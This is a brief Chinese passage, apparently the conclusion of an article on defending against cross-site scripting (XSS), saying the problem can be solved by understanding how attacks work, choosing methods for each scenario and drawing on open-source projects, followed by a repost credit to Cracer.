理论上，XSS漏洞虽然复杂，但却是可以彻底解决的。在设计XSS解决方案时，应该深入理解XSS攻击的原理，针对不同的场景使用不同的方法。同时有很多开源项目为我们提供了参考。

 

转载请注明来自Cracer